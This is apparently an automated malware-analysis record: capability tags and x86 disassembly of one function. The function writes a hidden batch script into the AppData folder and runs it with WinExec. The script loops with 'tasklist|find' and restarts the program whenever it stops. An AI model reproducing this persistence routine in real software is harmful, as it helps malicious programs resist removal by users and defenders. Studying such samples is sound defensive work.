Function at 0x4040c0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x45c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x369]
mov byte [esp + 0x368], bl
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x368]
push 0x104
push eax
push ebx
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x265]
mov byte [esp + 0x264], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x264]
push 0x104
push ecx
push ebx
stosb byte es:[edi], al
call esi
lea edx, [esp + 0x264]
push edx
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
call fcn.00404070
push eax
lea eax, [esp + 0x124]
push 0x431fe4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0xc
lea ecx, [esp + 0x10]
lea edx, [esp + 0x120]
push ecx
push edx
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x62
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x161]
mov byte [esp + 0x160], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
lea eax, [esp + 0x164]
push 0x1a
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edi, str._._mnbvcxz_lkjhgfdsa__poiuytrewq
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x160]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
lea edx, [esp + 0x160]
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x120]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c], bl
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push str._echo_off_n_r_set__file
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x21]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
push eax
call ebp
lea ecx, [esp + 0x264]
lea edx, [esp + 0x1c]
push ecx
push edx
call ebp
lea eax, [esp + 0x1c]
push 0x431fc8
push eax
call ebp
lea ecx, [esp + 0x1c]
push str.for__f__delims____I_in____file____do_set__image__nxI__n_r
push ecx
call ebp
lea edx, [esp + 0x1c]
push str.:begin_n_r
push edx
call ebp
lea eax, [esp + 0x1c]
push str.tasklistfind__i___image___n_r
push eax
call ebp
lea ecx, [esp + 0x1c]
push str.if___errorlevel___1__start_____
push ecx
call ebp
lea edx, [esp + 0x368]
lea eax, [esp + 0x1c]
push edx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0x431fc8
push ecx
call ebp
lea edx, [esp + 0x1c]
push str.goto_begin_n_r
push edx
call ebp
push ebx
push 2
push 2
push ebx
push ebx
lea eax, [esp + 0x174]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [esp + 0x18]
push ebx
mov esi, eax
push ecx
lea edx, [esp + 0x24]
push 0x104
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x160]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x45c
ret